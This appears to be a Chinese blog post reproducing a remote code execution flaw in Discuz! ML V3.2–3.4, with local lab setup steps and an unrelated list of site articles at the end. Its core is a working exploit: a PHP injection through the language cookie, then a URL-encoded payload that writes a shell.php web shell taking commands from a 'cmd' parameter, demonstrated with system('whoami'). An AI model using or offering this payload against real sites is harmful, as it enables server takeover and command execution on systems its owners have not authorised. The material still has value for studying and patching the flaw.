0x01 影响版本

Discuz! ML V3.2

Discuz! ML V3.3

Discuz! ML V3.4

0x02 环境搭建

直接官网下载即可http://discuz.ml/download

将压缩包解压至phpstudy网站根目录，浏览器访问upload目录即可开始安装

之后就是傻瓜式操作，一直点击下一步就可以了，直到完成安装

0x03 漏洞Poc

随便点击一个，抓包

将Cookie中的xxxxx_language参数值改为 '.phpinfo().' ，可以看到成功执行了代码

0x04 Getshell

EXP：

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

本地就多了一个shell.php文件

访问http://127.0.0.1/discuzml/upload/shell.php?cmd=system('whoami');即可看到成功执行了命令

参考文章：

https://mp.weixin.qq.com/s/B5K9gr7Hhu7PlHk_H5WK2g

最新文章

1. linux 查找文件或目录
2. linux 环境变量
3. 各种android应用模仿源码
4. C++之动态数组
5. Unix系统小知识（转）
6. deeplab hole algorithm
7. 2D 《触不可及》
8. SharePoint 服务器端对象模型操作文档库(上传/授权/查看权限)
9. [codevs5578][咸鱼]tarjan/结论题
10. REST和SOAP
11. log4cpp日志不能是溶液子体积
12. handler原理
13. 利用 python requests完成接口文件上传
14. 搭建Dubbo+Myeclipse2015+Maven3.3.1的过程遇到问题集锦
15. bat批处理设置静态、动态、ping、查看网络配置
16. Ubuntu16.04安装Jenkins
17. paraview plot over line
18. java入门了解之快捷键
19. Object.keys 函数 (JavaScript)
20. 解决IIS无法访问远程映射目录

热门文章

1. 通过 PECL 安装 PHP 扩展（以 CentOS7 中安装 swoole 为例）
2. 【C/C++开发】STL erase()函数使用要小心
3. docker安装+docker-compose
4. javascript实现每秒执行一次的方法
5. 通过LxRunOffline迁移Win10的Linux子系统
6. [转帖]Reactor模式
7. windows程序设计基础知识
8. Golang 实现单例模式
9. ColorMatrixFilter色彩矩阵滤镜
10. LOJ6587 WF2019 交通堵塞 CRT、bitset